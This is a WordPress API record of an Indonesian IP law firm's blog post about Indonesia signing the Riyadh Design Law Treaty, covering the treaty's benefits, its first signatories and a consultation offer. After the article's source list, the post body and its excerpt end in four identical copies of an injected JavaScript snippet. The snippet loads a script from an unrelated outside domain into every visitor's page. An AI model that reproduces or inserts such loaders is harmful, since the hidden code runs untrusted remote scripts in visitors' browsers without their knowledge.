{"id":5724,"date":"2025-07-11T09:52:05","date_gmt":"2025-07-11T09:52:05","guid":{"rendered":"https:\/\/affa.co.id\/?p=5724"},"modified":"2025-07-11T09:52:05","modified_gmt":"2025-07-11T09:52:05","slug":"indonesia-resmi-tandatangani-perjanjian-desain-industri-riyadh","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2025\/07\/11\/indonesia-resmi-tandatangani-perjanjian-desain-industri-riyadh\/","title":{"rendered":"Indonesia Resmi Tandatangani Perjanjian Desain Industri Riyadh"},"content":{"rendered":"<p><span style=\"font-weight: 400\">Pada 8 Juli 2025, Indonesia telah resmi menandatangani<\/span><b><i> Riyadh Design Law Treaty (RDLT)<\/i><\/b><span style=\"font-weight: 400\">, bergabung dengan negara-negara yang berkomitmen untuk memodernisasi perlindungan Desain Industri secara global. Perjanjian ini pertama kali disepakati pada 22 November 2024, dalam Konferensi Diplomatik WIPO di Riyadh, setelah hampir dua dekade sebelumnya mengalami proses negosiasi.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Dengan lebih dari 190 negara yang berpartisipasi dan 18 penandatangan pada hari pertama, RDLT menjadi tonggak penting dalam harmonisasi Kekayaan Intelektual internasional, yang bertujuan menyederhanakan dan mempermudah aspek prosedural pendaftaran Desain Industri di seluruh dunia. Partisipasi aktif negara-negara seperti India (yang baru bergabung pada November 2024) dan kini Indonesia, menunjukkan komitmen kuat kawasan terhadap infrastruktur Kekayaan Intelektual untuk masa depan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Manfaat <\/b><b><i>Riyadh Design Law Treaty<\/i><\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Dengan bergabungnya Indonesia, perjanjian ini secara cakupan global, jadi lebih kuat dalam menerapkan pendaftaran Desain Industri yang bersifat terpadu dan fleksibel. Perjanjian ini menghapus birokrasi yang tidak perlu dan menawarkan berbagai skema praktis untuk menghadapi era digital. Dengan fitur-fitur utamanya adalah:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Persyaratan pengajuan yang distandarkan, dibatasi pada daftar yang wajar dan dapat diprediksi.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Masa tenggang 12 bulan untuk pengungkapan sebelum pengajuan\u2014menguntungkan bagi para kreator yang telah mempublikasikan desain mereka sebelum mendaftar.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kemampuan untuk mengajukan beberapa desain dalam satu pengajuan.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Format representasi yang fleksibel seperti gambar, foto, dan media digital.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Penundaan publikasi hingga enam bulan, berguna untuk menjaga kerahasiaan.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Perlindungan prosedural seperti keringanan atas tenggat waktu yang terlewat dan perpanjangan yang disederhanakan.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Dukungan untuk sistem pengajuan elektronik dan pertukaran data lintas negara.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Seluruh ketentuan ini dirancang untuk memberdayakan tidak hanya perusahaan besar, tetapi juga UMKM, startup, dan desainer individu dalam menghadapi pasar global yang makin terhubung.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Gerakan Global yang Didukung Negara-Negara Besar<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Di awal peresmiannya, hanya ada 18 negara yang tercatat sebagai penandatangan awal: Bosnia dan Herzegovina, Republik Afrika Tengah, Kongo, Kosta Rika, Pantai Gading, Korea Utara, Gambia, Ghana, Lebanon, Maroko, Paraguay, Filipina, Republik Moldova, S\u00e3o Tom\u00e9 dan Pr\u00edncipe, Arab Saudi, Sudan, Uzbekistan, dan Zimbabwe.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">India kemudian menyusul dengan menandatangani dan meratifikasi perjanjian pada 26 November 2024. Dengan bergabungnya Indonesia pada 8 Juli 2025, ekonomi terbesar di ASEAN ini menegaskan kesiapannya untuk menyelaraskan regulasi domestik dengan standar internasional. Sebuah langkah penting untuk menarik investasi berbasis desain dan melindungi industri kreatif di Asia Tenggara.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Catatan Penting bagi Pemangku Kepentingan IP<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Adopsi perjanjian ini bukan sekadar pembaruan prosedural\u2014tetapi juga merupakan respon strategis terhadap kebutuhan ekonomi desain yang terus berkembang:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Konsistensi yang lebih besar dalam proses pendaftaran Desain Industri di seluruh dunia.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Akses yang lebih mudah bagi pelaku usaha kecil melalui pengurangan hambatan administratif.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Pengakuan terhadap realitas digital, termasuk sistem pengajuan elektronik dan format desain digital.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Fleksibilitas terhadap nilai-nilai nasional, seperti pilihan pengungkapan untuk ekspresi budaya tradisional atau pengetahuan tradisional.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kepastian hukum yang lebih baik, dengan tenggat waktu yang jelas dan masa tenggang yang mendukung kreator di industri yang bergerak cepat.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Bagi pelaku usaha yang beroperasi lintas negara, RDLT menghadirkan kejelasan dan efisiensi yang telah lama dinanti\u2014penting untuk mempercepat strategi pasar dan melindungi inovasi.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Langkah Selanjutnya<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">RDLT akan mulai berlaku tiga bulan setelah negara-negara peratifikasi menyerahkan instrumen ratifikasinya. Namun melihat kecepatan aksesi terbaru untuk negara-negara seperti India dan Indonesia, ambang batas ini kemungkinan baru tercapai dalam 12 hingga 24 bulan ke depan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Maka dari itu, sekarang adalah waktu yang tepat bagi para desainer, profesional hukum, dan pelaku usaha berbasis IP untuk bersiap. Memahami dan menyesuaikan diri dengan kerangka RDLT yang akan menjadi kunci untuk tetap kompetitif dalam ekonomi desain global.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">AFFA Intellectual Property Rights akan terus memantau secara cermat implementasi dari perjanjian ini. Kami siap membantu klien dari dalam dan luar negeri untuk mengevaluasi kesiapan mereka, menyesuaikan prosedur dengan standar Riyadh, dan mengadopsi strategi baru dalam pengajuan pendaftarannya.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Jika Anda adalah desainer yang ingin mengamankan hak Desain Industri Anda secara global, hubungi kami untuk informasi lebih lanjut terkait perjanjian baru ini. Dapatkan konsultasi gratis 15 menit melalui telepon, dengan menghubungi kanal kami berikut ini:<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">? E-Mail<\/span> <span style=\"font-weight: 400\">: emirsyah.dinar@affa.co.id<\/span><\/p>\n<p><span style=\"font-weight: 400\">? Book a Call<\/span> <span style=\"font-weight: 400\">: +62 21 83793812<\/span><\/p>\n<p><span style=\"font-weight: 400\">? WhatsApp<\/span> <span style=\"font-weight: 400\">: +62 812 87000 889<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Sumber:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><a href=\"https:\/\/www.wipo.int\/treaties\/en\/ip\/rdlt\/\"><span style=\"font-weight: 400\">Organisasi Kekayaan Intelektual Dunia<\/span><\/a><\/li>\n<\/ul>\n<p>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Pada 8 Juli 2025, Indonesia telah resmi menandatangani Riyadh Design Law Treaty (RDLT), bergabung dengan negara-negara yang berkomitmen untuk memodernisasi perlindungan Desain Industri secara global. Perjanjian ini pertama kali disepakati pada 22 November 2024, dalam Konferensi Diplomatik WIPO di Riyadh, setelah hampir dua dekade sebelumnya mengalami proses negosiasi. &nbsp; Dengan lebih dari 190 negara yang berpartisipasi dan 18 penandatangan pada hari pertama, RDLT menjadi tonggak penting dalam harmonisasi Kekayaan Intelektual internasional, yang bertujuan menyederhanakan dan mempermudah aspek prosedural pendaftaran Desain Industri di seluruh dunia. Partisipasi aktif negara-negara seperti India (yang baru bergabung pada November 2024) dan kini Indonesia, menunjukkan komitmen kuat kawasan terhadap infrastruktur Kekayaan Intelektual untuk masa depan. &nbsp; Manfaat Riyadh Design Law Treaty &nbsp; Dengan bergabungnya Indonesia, perjanjian ini secara cakupan global, jadi lebih kuat dalam menerapkan pendaftaran Desain Industri yang bersifat terpadu dan fleksibel. Perjanjian ini menghapus birokrasi yang tidak perlu dan menawarkan berbagai skema praktis untuk menghadapi era digital. Dengan fitur-fitur utamanya adalah: Persyaratan pengajuan yang distandarkan, dibatasi pada daftar yang wajar dan dapat diprediksi. Masa tenggang 12 bulan untuk pengungkapan sebelum pengajuan\u2014menguntungkan bagi para kreator yang telah mempublikasikan desain mereka sebelum mendaftar. Kemampuan untuk mengajukan beberapa desain dalam satu pengajuan. Format representasi yang fleksibel seperti gambar, foto, dan media digital. Penundaan publikasi hingga enam bulan, berguna untuk menjaga kerahasiaan. Perlindungan prosedural seperti keringanan atas tenggat waktu yang terlewat dan perpanjangan yang disederhanakan. Dukungan untuk sistem pengajuan elektronik dan pertukaran data lintas negara. &nbsp; Seluruh ketentuan ini dirancang untuk memberdayakan tidak hanya perusahaan besar, tetapi juga UMKM, startup, dan desainer individu dalam menghadapi pasar global yang makin terhubung. &nbsp; Gerakan Global yang Didukung Negara-Negara Besar &nbsp; Di awal peresmiannya, hanya ada 18 negara yang tercatat sebagai penandatangan awal: Bosnia dan Herzegovina, Republik Afrika Tengah, Kongo, Kosta Rika, Pantai Gading, Korea Utara, Gambia, Ghana, Lebanon, Maroko, Paraguay, Filipina, Republik Moldova, S\u00e3o Tom\u00e9 dan Pr\u00edncipe, Arab Saudi, Sudan, Uzbekistan, dan Zimbabwe. &nbsp; India kemudian menyusul dengan menandatangani dan meratifikasi perjanjian pada 26 November 2024. Dengan bergabungnya Indonesia pada 8 Juli 2025, ekonomi terbesar di ASEAN ini menegaskan kesiapannya untuk menyelaraskan regulasi domestik dengan standar internasional. Sebuah langkah penting untuk menarik investasi berbasis desain dan melindungi industri kreatif di Asia Tenggara. &nbsp; Catatan Penting bagi Pemangku Kepentingan IP &nbsp; Adopsi perjanjian ini bukan sekadar pembaruan prosedural\u2014tetapi juga merupakan respon strategis terhadap kebutuhan ekonomi desain yang terus berkembang: Konsistensi yang lebih besar dalam proses pendaftaran Desain Industri di seluruh dunia. Akses yang lebih mudah bagi pelaku usaha kecil melalui pengurangan hambatan administratif. Pengakuan terhadap realitas digital, termasuk sistem pengajuan elektronik dan format desain digital. Fleksibilitas terhadap nilai-nilai nasional, seperti pilihan pengungkapan untuk ekspresi budaya tradisional atau pengetahuan tradisional. Kepastian hukum yang lebih baik, dengan tenggat waktu yang jelas dan masa tenggang yang mendukung kreator di industri yang bergerak cepat. &nbsp; Bagi pelaku usaha yang beroperasi lintas negara, RDLT menghadirkan kejelasan dan efisiensi yang telah lama dinanti\u2014penting untuk mempercepat strategi pasar dan melindungi inovasi. &nbsp; Langkah Selanjutnya &nbsp; RDLT akan mulai berlaku tiga bulan setelah negara-negara peratifikasi menyerahkan instrumen ratifikasinya. Namun melihat kecepatan aksesi terbaru untuk negara-negara seperti India dan Indonesia, ambang batas ini kemungkinan baru tercapai dalam 12 hingga 24 bulan ke depan. &nbsp; Maka dari itu, sekarang adalah waktu yang tepat bagi para desainer, profesional hukum, dan pelaku usaha berbasis IP untuk bersiap. Memahami dan menyesuaikan diri dengan kerangka RDLT yang akan menjadi kunci untuk tetap kompetitif dalam ekonomi desain global. &nbsp; AFFA Intellectual Property Rights akan terus memantau secara cermat implementasi dari perjanjian ini. Kami siap membantu klien dari dalam dan luar negeri untuk mengevaluasi kesiapan mereka, menyesuaikan prosedur dengan standar Riyadh, dan mengadopsi strategi baru dalam pengajuan pendaftarannya.\u00a0 &nbsp; Jika Anda adalah desainer yang ingin mengamankan hak Desain Industri Anda secara global, hubungi kami untuk informasi lebih lanjut terkait perjanjian baru ini. Dapatkan konsultasi gratis 15 menit melalui telepon, dengan menghubungi kanal kami berikut ini: &nbsp; ? E-Mail : emirsyah.dinar@affa.co.id ? Book a Call : +62 21 83793812 ? WhatsApp : +62 812 87000 889 &nbsp; Sumber: Organisasi Kekayaan Intelektual Dunia var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":5726,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277,430],"tags":[310,314,317,321,327,328,603,604,305,306,307,308,309],"class_list":["post-5724","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","category-industrial-design","tag-ki","tag-your-ip-is-our-expertise","tag-timing-is-everything","tag-indonesia","tag-desain-industri","tag-industrial-design","tag-rdtl","tag-riyadh","tag-affa","tag-affa-ipr","tag-intellectual-property","tag-ip","tag-kekayaan-intelektual"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/5724","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=5724"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/5724\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/5726"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=5724"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=5724"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=5724"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}